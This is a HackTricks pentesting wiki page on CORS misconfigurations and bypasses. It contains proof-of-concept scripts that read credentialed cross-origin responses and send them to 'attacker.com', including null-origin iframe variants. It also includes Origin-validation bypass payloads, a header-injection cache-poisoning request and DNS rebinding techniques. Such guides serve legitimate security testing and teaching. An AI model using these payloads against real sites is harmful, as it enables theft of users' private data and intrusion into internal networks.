cors-bypass.md (37706B)
1 --- 2 title: "CORS - Misconfigurations & Bypass" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/cors-bypass.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/cors-bypass.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # CORS - Misconfigurations & Bypass 14 15 ## What is CORS? 16 17 Cross-Origin Resource Sharing (CORS) standard **enables servers to define who can access their assets** and **which HTTP request methods are permitted** from external sources.<sup>[[5]](#references)</sup> 18 19 A **same-origin** policy mandates that a **server requesting** a resource and the server hosting the **resource** share the same protocol (e.g., `http://`), domain name (e.g., `internal-web.com`), and **port** (e.g., 80). Under this policy, only web pages from the same domain and port are allowed access to the resources.<sup>[[1]](#references)</sup> 20 21 The application of the same-origin policy in the context of `http://normal-website.com/example/example.html` is illustrated as follows: 22 23 | URL accessed | Access permitted? | 24 | ----------------------------------------- | --------------------------------------- | 25 | `http://normal-website.com/example/` | Yes: Identical scheme, domain, and port | 26 | `http://normal-website.com/example2/` | Yes: Identical scheme, domain, and port | 27 | `https://normal-website.com/example/` | No: Different scheme and port | 28 | `http://en.normal-website.com/example/` | No: Different domain | 29 | `http://www.normal-website.com/example/` | No: Different domain | 30 | `http://normal-website.com:8080/example/` | No: Different port\* | 31 32 \*Internet Explorer disregards the port number in enforcing the same-origin policy, thus allowing this access. 33 34 ### `Access-Control-Allow-Origin` Header 35 36 This header can allow **multiple origins**, a **`null`** value, or a wildcard **`*`**. However, **no browser supports multiple origins**, and the use of the wildcard `*` is subject to **limitations**. (The wildcard must be used alone, and its use alongside `Access-Control-Allow-Credentials: true` is not permitted.) 37 38 This header is **issued by a server** in response to a cross-domain resource request initiated by a website, with the browser automatically adding an `Origin` header.<sup>[[2]](#references)</sup> 39 40 ### `Access-Control-Allow-Credentials` Header 41 42 By **default**, cross-origin requests are made without credentials like cookies or the Authorization header. Yet, a cross-domain server can allow the reading of the response when credentials are sent by setting the `Access-Control-Allow-Credentials` header to **`true`**. 43 44 If set to `true`, the browser will transmit credentials (cookies, authorization headers, or TLS client certificates). 45 46 ```javascript 47 var xhr = new XMLHttpRequest() 48 xhr.onreadystatechange = function () { 49 if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { 50 console.log(xhr.responseText) 51 } 52 } 53 xhr.open("GET", "http://example.com/", true) 54 xhr.withCredentials = true 55 xhr.send(null) 56 ``` 57 58 ```javascript 59 fetch(url, { 60 credentials: "include", 61 }) 62 ``` 63 64 ```javascript 65 const xhr = new XMLHttpRequest() 66 xhr.open("POST", "https://bar.other/resources/post-here/") 67 xhr.setRequestHeader("X-PINGOTHER", "pingpong") 68 xhr.setRequestHeader("Content-Type", "application/xml") 69 xhr.onreadystatechange = handler 70 xhr.send("<person><name>Arun</name></person>") 71 ``` 72 73 ### CSRF Pre-flight request 74 75 ### Understanding Pre-flight Requests in Cross-Domain Communication 76 77 When initiating a cross-domain request under specific conditions, such as using a **non-standard HTTP method** (anything other than HEAD, GET, POST), introducing new **headers**, or employing a special **Content-Type header value**, a pre-flight request may be required. This preliminary request, leveraging the **`OPTIONS`** method, serves to inform the server of the forthcoming cross-origin request's intentions, including the HTTP methods and headers it intends to use. 78 79 The **Cross-Origin Resource Sharing (CORS)** protocol mandates this pre-flight check to determine the feasibility of the requested cross-origin operation by verifying the allowed methods, headers, and the trustworthiness of the origin. For a detailed understanding of what conditions circumvent the need for a pre-flight request, refer to the comprehensive guide provided by [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests). 80 81 It's crucial to note that the **absence of a pre-flight request does not negate the requirement for the response to carry authorization headers**. Without these headers, the browser is incapacitated in its ability to process the response from the cross-origin request. 82 83 Consider the following illustration of a pre-flight request aimed at employing the `PUT` method along with a custom header named `Special-Request-Header`: 84 85 ```text 86 OPTIONS /info HTTP/1.1 87 Host: example2.com 88 ... 89 Origin: https://example.com 90 Access-Control-Request-Method: PUT 91 Access-Control-Request-Headers: Special-Request-Header 92 ``` 93 94 In response, the server might return headers indicating the accepted methods, the allowed origin, and other CORS policy details, as shown below: 95 96 ```markdown 97 HTTP/1.1 204 No Content 98 ... 99 Access-Control-Allow-Origin: https://example.com 100 Access-Control-Allow-Methods: PUT, POST, OPTIONS 101 Access-Control-Allow-Headers: Authorization 102 Access-Control-Allow-Credentials: true 103 Access-Control-Max-Age: 240 104 ``` 105 106 - **`Access-Control-Allow-Headers`**: This header specifies which headers can be used during the actual request. It is set by the server to indicate the allowed headers in requests from the client.<sup>[[3]](#references)</sup> 107 - **`Access-Control-Expose-Headers`**: Through this header, the server informs the client about which headers can be exposed as part of the response besides the simple response headers. 108 - **`Access-Control-Max-Age`**: This header indicates how long the results of a pre-flight request can be cached. The server sets the maximum time, in seconds, that the information returned by a pre-flight request may be reused. 109 - **`Access-Control-Request-Headers`**: Used in pre-flight requests, this header is set by the client to inform the server about which HTTP headers the client wants to use in the actual request. 110 - **`Access-Control-Request-Method`**: This header, also used in pre-flight requests, is set by the client to indicate which HTTP method will be used in the actual request. 111 - **`Origin`**: This header is automatically set by the browser and indicates the origin of the cross-origin request. It is used by the server to assess whether the incoming request should be allowed or denied based on the CORS policy. 112 113 Note that usually (depending on the content-type and headers set) in a **GET/POST request no pre-flight request is sent** (the request is sent **directly**), but if you want to access the **headers/body of the response**, it must contains an _Access-Control-Allow-Origin_ header allowing it.\ 114 **Therefore, CORS doesn't protect against CSRF (but it can be helpful).** 115 116 ### **Local Network Requests Pre-flight request** 117 118 Modern browsers and the current **Private Network Access (PNA)** draft use the headers **`Access-Control-Request-Private-Network: true`** in the preflight and **`Access-Control-Allow-Private-Network: true`** in the response. Older articles and PoCs may still refer to `Local-Network` header names, but for current testing you should expect the `Private-Network` variants. 119 120 A **valid response allowing the local network request** needs to also include `Access-Control-Allow-Private-Network: true`: 121 122 ```text 123 HTTP/1.1 200 OK 124 ... 125 Access-Control-Allow-Origin: https://example.com 126 Access-Control-Allow-Methods: GET 127 Access-Control-Allow-Credentials: true 128 Access-Control-Allow-Private-Network: true 129 Content-Length: 0 130 ... 131 ``` 132 133 And the preflight request will look similar to: 134 135 ```http 136 OPTIONS / HTTP/1.1 137 Host: router.local 138 Origin: https://example.com 139 Access-Control-Request-Method: GET 140 Access-Control-Request-Private-Network: true 141 ``` 142 143 > [!NOTE] 144 > Chrome's PNA rollout changed several times during 2024. As of **October 9, 2024**, Chrome documented that **PNA preflights were on hold** because of compatibility problems, while secure-context restrictions remained in place. Therefore, keep testing both the **spec-compliant preflight flow** and the older **"works in practice because enforcement is incomplete"** behavior.<sup>[[12]](#references)</sup> 145 146 > [!WARNING] 147 > Note that the linux **0.0.0.0** IP works to **bypass** these requirements to access localhost as that IP address is not considered "local". 148 > 149 > Chrome also documented that **`0.0.0.0/8`** is now treated as part of Private Network Access, so this trick is browser/version-dependent and should be re-tested instead of assumed.<sup>[[12]](#references)</sup> 150 > 151 > It's also possible to **bypass the Local Network requirements** if you use the **public IP address of a local endpoint** (like the public IP of the router). Because in several occasions, even if the **public IP** is being accessed, if it's **from the local network**, access will be granted. 152 153 ### Wildcards 154 155 Note that even if the following configuration might look super permissive: 156 157 ```bash 158 Access-Control-Allow-Origin: * 159 Access-Control-Allow-Credentials: true 160 ``` 161 162 This is not allowed by browsers and therefore credentials won't be sent with the request allowed by this. 163 164 ## Exploitable misconfigurations 165 166 It has been observed that the setting of `Access-Control-Allow-Credentials` to **`true`** is a prerequisite for most **real attacks**. This setting permits the browser to send credentials and read the response, enhancing the attack's effectiveness. Without this, the benefit of making a browser issue a request over doing it oneself diminishes, as leveraging a user's cookies becomes unfeasible.<sup>[[1]](#references)</sup> 167 168 ### Exception: Exploiting Network Location as Authentication 169 170 An exception exists where the victim's network location acts as a form of authentication. This allows for the victim's browser to be used as a proxy, circumventing IP-based authentication to access intranet applications. This method shares similarities in impact with DNS rebinding but is simpler to exploit.<sup>[[1]](#references)</sup> 171 172 ### Reflection of `Origin` in `Access-Control-Allow-Origin` 173 174 The real-world scenario where the `Origin` header's value is reflected in `Access-Control-Allow-Origin` is theoretically improbable due to restrictions on combining these headers. However, developers seeking to enable CORS for multiple URLs may dynamically generate the `Access-Control-Allow-Origin` header by copying the `Origin` header's value. This approach can introduce vulnerabilities, particularly when an attacker employs a domain with a name designed to appear legitimate, thereby deceiving the validation logic.<sup>[[1]](#references)</sup> 175 176 ```html 177 <script> 178 var req = new XMLHttpRequest() 179 req.onload = reqListener 180 req.open("get", "https://example.com/details", true) 181 req.withCredentials = true 182 req.send() 183 function reqListener() { 184 location = "/log?key=" + this.responseText 185 } 186 </script> 187 ``` 188 189 ### Exploiting the `null` Origin 190 191 The `null` origin, specified for situations like redirects or local HTML files, holds a unique position. Some applications whitelist this origin to facilitate local development, inadvertently allowing any website to mimic a `null` origin through a sandboxed iframe, thus bypassing CORS restrictions.<sup>[[1]](#references)</sup> 192 193 ```html 194 <iframe 195 sandbox="allow-scripts allow-top-navigation allow-forms" 196 src="data:text/html,<script> 197 var req = new XMLHttpRequest(); 198 req.onload = reqListener; 199 req.open('get','https://example/details',true); 200 req.withCredentials = true; 201 req.send(); 202 function reqListener() { 203 location='https://attacker.com//log?key='+encodeURIComponent(this.responseText); 204 }; 205 </script>"></iframe> 206 ``` 207 208 ```html 209 <iframe 210 sandbox="allow-scripts allow-top-navigation allow-forms" 211 srcdoc="<script> 212 var req = new XMLHttpRequest(); 213 req.onload = reqListener; 214 req.open('get','https://example/details',true); 215 req.withCredentials = true; 216 req.send(); 217 function reqListener() { 218 location='https://attacker.com//log?key='+encodeURIComponent(this.responseText); 219 }; 220 </script>"></iframe> 221 ``` 222 223 ### Regular Expression Bypass Techniques 224 225 When encountering a domain allowlist, test for bypass opportunities such as placing the trusted string in an attacker-controlled hostname or exploiting a trusted subdomain takeover. Regular expressions may also overlook URL-parser and hostname-normalization details.<sup>[[1]](#references)</sup><sup>[[6]](#references)</sup> 226 227 ### Advanced Regular Expression Bypasses 228 229 Regex patterns often concentrate on alphanumeric characters, dots, and hyphens while overlooking parser discrepancies. Crafted hostnames containing characters interpreted differently by the browser and validation code—including underscores in some parsing contexts—may bypass the check.<sup>[[13]](#references)</sup><sup>[[14]](#references)</sup> 230 231 **For more information and settings of this bypass check:** [**Advanced CORS Techniques (archived)**](https://web.archive.org/web/20260000000000id_/https://www.corben.io/advanced-cors-techniques/) **and** [**Think Outside the Scope: Advanced CORS Exploitation Techniques**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)<sup>[[13]](#references)</sup><sup>[[14]](#references)</sup> 232 233  234 235 ### From XSS inside a subdomain 236 237 Developers often implement defensive mechanisms to protect against CORS exploitation by whitelisting domains that are permitted to request information. Despite these precautions, the system's security is not foolproof. The presence of even a single vulnerable subdomain within the whitelisted domains can open the door to CORS exploitation through other vulnerabilities, such as XSS (Cross-Site Scripting).<sup>[[8]](#references)</sup> 238 239 To illustrate, consider the scenario where a domain, `requester.com`, is whitelisted to access resources from another domain, `provider.com`. The server-side configuration might look something like this: 240 241 ```javascript 242 if ($_SERVER["HTTP_HOST"] == "*.requester.com") { 243 // Access data 244 } else { 245 // Unauthorized access 246 } 247 ``` 248 249 In this setup, all subdomains of `requester.com` are allowed access. However, if a subdomain, say `sub.requester.com`, is compromised with an XSS vulnerability, an attacker can leverage this weakness. For example, an attacker with access to `sub.requester.com` could exploit the XSS vulnerability to bypass CORS policies and maliciously access resources on `provider.com`.<sup>[[1]](#references)</sup> 250 251 ### **Special Characters** 252 253 PortSwigger’s [URL validation bypass cheat sheet](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) found that some browsers support strange characters within domain names.<sup>[[15]](#references)</sup> 254 255 Chrome and Firefox support underscores `_` that can bypass regexes implemented to validate the `Origin` header: 256 257 ```text 258 GET / HTTP/2 259 Cookie: <session_cookie> 260 Origin: https://target.application_.arbitrary.com 261 ``` 262 263 ```text 264 HTTP/2 200 OK 265 Access-Control-Allow-Origin: https://target.application_.arbitrary.com 266 Access-Control-Allow-Credentials: true 267 ``` 268 269 Safari is even more lax accepting special characters in the domain name: 270 271 ```text 272 GET / HTTP/2 273 Cookie: <session_cookie> 274 Origin: https://target.application}.arbitrary.com 275 ``` 276 277 ```text 278 HTTP/2 200 OK 279 Cookie: <session_cookie> 280 Access-Control-Allow-Origin: https://target.application}.arbitrary.com 281 Access-Control-Allow-Credentials: true 282 ``` 283 284 Recent updates to PortSwigger's cheat sheet added more **Safari-oriented domain splitting** payloads that are worth fuzzing when the target validates the `Origin` header using regexes or home-grown URL parsers: 285 286 ```text 287 https://example.com.{.attacker.com/ 288 https://example.com.}.attacker.com/ 289 https://example.com.`.attacker.com/ 290 ``` 291 292 These are useful when the backend only checks whether the supplied origin *starts with* or *contains* the trusted hostname, while the browser still treats the attacker-controlled suffix as the effective origin boundary.<sup>[[11]](#references)</sup> 293 294 Also remember that modern origin fuzzing should not stop at hostname suffixes. The current PortSwigger cheat sheet includes payload families for:<sup>[[11]](#references)</sup> 295 296 - **Domain allow-list bypasses**: attacker-controlled domains that still satisfy naive prefix/suffix/substring checks. 297 - **Fake-relative absolute URLs**: browser-valid absolute URLs that application code may parse as relative. 298 - **Loopback/IP normalizations**: alternative IPv4/IPv6 forms useful when CORS logic tries to block `localhost`, `127.0.0.1`, or cloud metadata endpoints by string comparison. 299 300 ### **Other funny URL tricks** 301 302 303 [Url Format Bypass](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass) 304 305 ### **Server-side cache poisoning** 306 307 It's possible that by exploiting server-side cache poisoning through HTTP header injection, a stored Cross-Site Scripting (XSS) vulnerability can be induced. This scenario unfolds when an application fails to sanitize the `Origin` header for illegal characters, creating a vulnerability particularly for Internet Explorer and Edge users. These browsers treat (0x0d) as a legitimate HTTP header terminator, leading to HTTP header injection vulnerabilities. 308 309 Consider the following request where the `Origin` header is manipulated: 310 311 ```text 312 GET / HTTP/1.1 313 Origin: z[0x0d]Content-Type: text/html; charset=UTF-7 314 ``` 315 316 Internet Explorer and Edge interpret the response as: 317 318 ```text 319 HTTP/1.1 200 OK 320 Access-Control-Allow-Origin: z 321 Content-Type: text/html; charset=UTF-7 322 ``` 323 324 While directly exploiting this vulnerability by making a web browser send a malformed header is not feasible, a crafted request can be manually generated using tools like Burp Suite. This method could lead to a server-side cache saving the response and inadvertently serving it to others. The crafted payload aims to alter the page's character set to UTF-7, a character encoding often associated with XSS vulnerabilities due to its ability to encode characters in a way that can be executed as script in certain contexts.<sup>[[4]](#references)</sup> 325 326 For further reading on stored XSS vulnerabilities, see [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).<sup>[[18]](#references)</sup> 327 328 **Note**: The exploitation of HTTP header injection vulnerabilities, particularly through server-side cache poisoning, underscores the critical importance of validating and sanitizing all user-supplied input, including HTTP headers. Always employ a robust security model that includes input validation to prevent such vulnerabilities. 329 330 ### **Client-Side cache poisoning** 331 332 In this scenario, an instance of a web page reflecting the contents of a custom HTTP header without proper encoding is observed. Specifically, the web page reflects back the contents included in a `X-User-id` header, which could include malicious JavaScript, as demonstrated by the example where the header contains an SVG image tag designed to execute JavaScript code on load. 333 334 Cross-Origin Resource Sharing (CORS) policies allow for the sending of custom headers. However, without the response being directly rendered by the browser due to CORS restrictions, the utility of such an injection might seem limited. The critical point arises when considering the browser's cache behavior. If the `Vary: Origin` header is not specified, it becomes possible for the malicious response to be cached by the browser. Subsequently, this cached response could be rendered directly when navigating to the URL, bypassing the need for direct rendering upon the initial request. This mechanism enhances the reliability of the attack by leveraging client-side caching. 335 336 To illustrate this attack, a JavaScript example is provided, designed to be executed in the environment of a web page, such as through a JSFiddle. This script performs a simple action: it sends a request to a specified URL with a custom header containing the malicious JavaScript. Upon successful request completion, it attempts to navigate to the target URL, potentially triggering the execution of the injected script if the response has been cached without proper handling of the `Vary: Origin` header.<sup>[[4]](#references)</sup> 337 338 Here's a summarized breakdown of the JavaScript used to execute this attack: 339 340 ```html 341 <script> 342 function gotcha() { 343 location = url 344 } 345 var req = new XMLHttpRequest() 346 url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites 347 req.onload = gotcha 348 req.open("get", url, true) 349 req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>") 350 req.send() 351 </script> 352 ``` 353 354 ## Bypass 355 356 ### XSSI (Cross-Site Script Inclusion) / JSONP 357 358 XSSI, also known as Cross-Site Script Inclusion, is a type of vulnerability that takes advantage of the fact that the Same Origin Policy (SOP) does not apply when including resources using the script tag. This is because scripts need to be able to be included from different domains. This vulnerability allows an attacker to access and read any content that was included using the script tag. 359 360 This vulnerability becomes particularly significant when it comes to dynamic JavaScript or JSONP (JSON with Padding), especially when ambient-authority information like cookies are used for authentication. When requesting a resource from a different host, the cookies are included, making them accessible to the attacker.<sup>[[9]](#references)</sup> 361 362 To better understand and mitigate this vulnerability, you can use the BurpSuite plugin available at [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). This plugin can help identify and address potential XSSI vulnerabilities in your web applications. 363 364 [**Read more about the difefrent types of XSSI and how to exploit them here.**](/hacktricks/pentesting-web/xssi-cross-site-script-inclusion) 365 366 Try to add a **`callback`** **parameter** in the request. Maybe the page was prepared to send the data as JSONP. In that case the page will send back the data with `Content-Type: application/javascript` which will bypass the CORS policy. 367 368  369 370 ### Easy (useless?) bypass 371 372 One way to bypass the `Access-Control-Allow-Origin` restriction is by requesting a web application to make a request on your behalf and send back the response. However, in this scenario, the credentials of the final victim won't be sent as the request is made to a different domain. 373 374 1. [**CORS-escape**](https://github.com/shalvah/cors-escape): This tool provides a proxy that forwards your request along with its headers, while also spoofing the Origin header to match the requested domain. This effectively bypasses the CORS policy. Here's an example usage with XMLHttpRequest:<sup>[[7]](#references)</sup> 375 2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): This tool offers an alternative approach to proxying requests. Instead of passing on your request as-is, the server makes its own request with the specified parameters. 376 377 ### Iframe + Popup Bypass 378 379 You can **bypass CORS checks** such as `e.origin === window.origin` by **creating an iframe** and **from it opening a new window**. More information in the following page: 380 381 382 [Iframes In Xss And Csp](/hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp) 383 384 ### DNS Rebinding via TTL 385 386 DNS rebinding via TTL is a technique used to bypass certain security measures by manipulating DNS records. Here's how it works: 387 388 1. The attacker creates a web page and makes the victim access it. 389 2. The attacker then changes the DNS (IP) of their own domain to point to the victim's web page. 390 3. The victim's browser caches the DNS response, which may have a TTL (Time to Live) value indicating how long the DNS record should be considered valid. 391 4. When the TTL expires, the victim's browser makes a new DNS request, allowing the attacker to execute JavaScript code on the victim's page. 392 5. By maintaining control over the IP of the victim, the attacker can gather information from the victim without sending any cookies to the victim server. 393 394 It's important to note that browsers have caching mechanisms that may prevent immediate abuse of this technique, even with low TTL values. 395 396 DNS rebinding can be useful for bypassing explicit IP checks performed by the victim or for scenarios where a user or bot remains on the same page for an extended period, allowing the cache to expire. 397 398 If you need a quick way to abuse DNS rebinding, you can use services like [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html). 399 400 To run your own DNS rebinding server, you can utilize tools like **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). This involves exposing your local port 53/udp, creating an A record pointing to it (e.g., ns.example.com), and creating an NS record pointing to the previously created A subdomain (e.g., ns.example.com). Any subdomain of the ns.example.com subdomain will then be resolved by your host. 401 402 You can also explore a publicly running server at [http://rebind.it/singularity.html](http://rebind.it/singularity.html) for further understanding and experimentation. 403 404 ### DNS Rebinding via **DNS Cache Flooding** 405 406 DNS rebinding via DNS cache flooding is another technique used to bypass the caching mechanism of browsers and force a second DNS request. Here's how it works: 407 408 1. Initially, when the victim makes a DNS request, it is responded with the attacker's IP address. 409 2. To bypass the caching defense, the attacker leverages a service worker. The service worker floods the DNS cache, which effectively deletes the cached attacker server name. 410 3. When the victim's browser makes a second DNS request, it is now responded with the IP address 127.0.0.1, which typically refers to the localhost. 411 412 By flooding the DNS cache with the service worker, the attacker can manipulate the DNS resolution process and force the victim's browser to make a second request, this time resolving to the attacker's desired IP address. 413 414 ### DNS Rebinding via **Cache** 415 416 Another way to bypass the caching defense is by utilizing multiple IP addresses for the same subdomain in the DNS provider. Here's how it works: 417 418 1. The attacker sets up two A records (or a single A record with two IPs) for the same subdomain in the DNS provider. 419 2. When a browser checks for these records, it receives both IP addresses. 420 3. If the browser decides to use the attacker's IP address first, the attacker can serve a payload that performs HTTP requests to the same domain. 421 4. However, once the attacker obtains the victim's IP address, they stop responding to the victim's browser. 422 5. The victim's browser, upon realizing that the domain is unresponsive, moves on to use the second given IP address. 423 6. By accessing the second IP address, the browser bypasses the Same Origin Policy (SOP), allowing the attacker to abuse this and gather and exfiltrate information. 424 425 This technique leverages the behavior of browsers when multiple IP addresses are provided for a domain. By strategically controlling the responses and manipulating the browser's choice of IP address, an attacker can exploit the SOP and access information from the victim. 426 427 > [!WARNING] 428 > Note that in order to access localhost you should try to rebind **127.0.0.1** in Windows and **0.0.0.0** in linux.\ 429 > Providers such as godaddy or cloudflare didn't allow me to use the ip 0.0.0.0, but AWS route53 allowed me to create one A record with 2 IPs being one of them "0.0.0.0" 430 > 431 > <img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28140%29.png" alt="" data-size="original"> 432 433 For more info you can check [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)<sup>[[16]](#references)</sup> 434 435 ### Other Common Bypasses 436 437 - If **internal IPs aren't allowed**, they might **forgot forbidding 0.0.0.0** (works on Linux and Mac) 438 - If **internal IPs aren't allowed**, respond with a **CNAME** to **localhost** (works on Linux and Ma 439 - If **internal IPs aren't allowed** as DNS responses, you can respond **CNAMEs to internal services** such as www.corporate.internal. 440 441 ### DNS Rebinding Weaponized 442 443 You can find more information about the previous bypass techniques and how to use the following tool in the talk [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).<sup>[[17]](#references)</sup> 444 445 [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is a tool to perform [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine. 446 447 ### DNS Rebinding over DNS-over-HTTPS (DoH) 448 449 DoH simply tunnels the classic RFC1035 DNS wire format inside HTTPS (usually a POST with `Content-Type: application/dns-message`). The resolver still answers with the same resource records, so SOP-breaking techniques continue to work even when browsers resolve the attacker-controlled hostname via TLS.<sup>[[10]](#references)</sup> 450 451 #### Key observations 452 453 - Chrome (Windows/macOS) and Firefox (Linux) successfully rebind when configured for Cloudflare, Google, or OpenDNS DoH resolvers. Transport encryption neither delays nor blocks the attack-flow for **first-then-second**, **multiple-answers**, or **DNS cache flooding** strategies. 454 - Public resolvers still see every query, but they rarely enforce the host-to-IP mapping a browser must honor. Once the authoritative server returns the rebinding sequence, the browser keeps the original origin tuple while connecting to the new IP. 455 456 #### Singularity strategies and timing over DoH 457 458 - **First-then-second** remains the most reliable option: the first lookup returns the attacker IP that serves the payload, every later lookup returns the internal/localhost IP. With typical browser DNS caches this flips traffic in ~40–60 seconds, even when the recursive resolver is only reachable over HTTPS. 459 - **Multiple answers (fast rebinding)** still reaches localhost in <3 seconds by answering with two A records (attacker IP + `0.0.0.0` on Linux/macOS or `127.0.0.1` on Windows) and programmatically blackholing the first IP (for example, `iptables -I OUTPUT -d <attacker_ip> -j DROP`) shortly after the page loads. Firefox’s DoH implementation may emit repeated DNS queries, so the Singularity fix is to schedule the firewall rule relative to the **first** query timestamp instead of refreshing the timer on every query. 460 461 #### Beating “rebind protection” in DoH providers 462 463 - Some providers (e.g., NextDNS) replace private/loopback answers with `0.0.0.0`, but Linux and macOS happily route that destination to local services. Intentionally returning `0.0.0.0` as the second record therefore still pivots the origin to localhost. 464 - Filtering only the direct A/AAAA response is ineffective: returning a **CNAME** to an internal-only hostname makes the public DoH resolver forward the alias while browsers such as Firefox fall back to the system DNS for the internal zone, completing the resolution to a private IP that is still treated as the attacker origin. 465 466 #### Browser-specific DoH behavior 467 468 - **Firefox DoH** operates in fallback mode: any DoH failure (including an unresolved CNAME target) triggers a plaintext lookup via the OS resolver, which is typically an enterprise DNS server that knows the internal namespace. This behavior is what makes the CNAME bypass reliable inside corporate networks. 469 - **Chrome DoH** only activates when the OS DNS points to a whitelisted DoH-capable recursive resolver (Cloudflare, Google, Quad9, etc.) and does not provide the same fallback chain. Internal hostnames that only exist on corporate DNS therefore fail to resolve, but rebinding toward localhost or any routable address still succeeds because the attacker controls the entire response set. 470 471 #### Testing and monitoring DoH flows 472 473 - Firefox: `Settings ➜ Network Settings ➜ Enable DNS over HTTPS` and provide the DoH endpoint (Cloudflare and NextDNS are built in). Chrome/Chromium: enable `chrome://flags/#dns-over-https` and configure the OS DNS servers to one of Chrome’s supported resolvers (e.g., `1.1.1.1`/`1.0.0.1`). 474 - You can query public DoH APIs directly, e.g. `curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq` to confirm the exact records browsers will cache. 475 - Intercepting DoH in Burp/ZAP still works because it is just HTTPS (binary DNS payload in the body). For packet-level inspection, export TLS keys (`export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt`) before launching the browser and let Wireshark decrypt the DoH sessions with the `dns` display filter to see when the browser stays on DoH or falls back to classic DNS. 476 477 ### Real Protection against DNS Rebinding 478 479 - Use TLS in internal services 480 - Request authentication to access data 481 - Validate the Host header 482 - [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Proposal to always send a pre-flight request when public servers want to access internal servers 483 484 ## **Tools** 485 486 **Fuzz possible misconfigurations in CORS policies** 487 488 - [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8) 489 - [https://portswigger.net/bappstore/c257bcb0b6254a578535edb2dcee87d0](https://portswigger.net/bappstore/c257bcb0b6254a578535edb2dcee87d0) 490 - [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner) 491 - [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer) 492 - [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy) 493 - [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe) 494 - [https://github.com/omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne) 495 496 ## References 497 498 - [1] [Cross-origin resource sharing (CORS) | Web Security Academy](https://portswigger.net/web-security/cors) 499 - [2] [Access-Control-Allow-Origin header | Web Security Academy](https://portswigger.net/web-security/cors/access-control-allow-origin) 500 - [3] [HTTP headers - CORS | MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS) 501 - [4] [Exploiting CORS misconfigurations for Bitcoins and bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) 502 - [5] [Fetch Standard: HTTP CORS protocol](https://fetch.spec.whatwg.org/#http-cors-protocol) 503 - [6] [OWASP WSTG: Testing Cross-Origin Resource Sharing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/07-Testing_Cross_Origin_Resource_Sharing) 504 - [7] [Hacking It Out: When CORS Won't Let You Be Great](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646) 505 - [8] [PayloadsAllTheThings - CORS Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration) 506 - [9] [Every bug bounty hunter should know: the evil smile of the JSONP over the browser's Same Origin](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b) 507 - [10] [Impact of DNS over HTTPS (DoH) on DNS Rebinding Attacks - NCC Group](https://www.nccgroup.com/research-blog/impact-of-dns-over-https-doh-on-dns-rebinding-attacks/) 508 - [11] [New, crazy payloads in the URL Validation Bypass Cheat Sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet) 509 - [12] [Private Network Access preflight is on hold](https://developer.chrome.com/blog/pna-on-hold) 510 - [13] [Advanced CORS Techniques (archived)](https://web.archive.org/web/20260000000000id_/https://www.corben.io/advanced-cors-techniques/) 511 - [14] [Think Outside the Scope: Advanced CORS Exploitation Techniques](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) 512 - [15] [Introducing the URL Validation Bypass Cheat Sheet](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) 513 - [16] [DNS Rebinding: The Hijacking of Trust](https://unit42.paloaltonetworks.com/dns-rebinding/) 514 - [17] [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ) 515 - [18] [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored)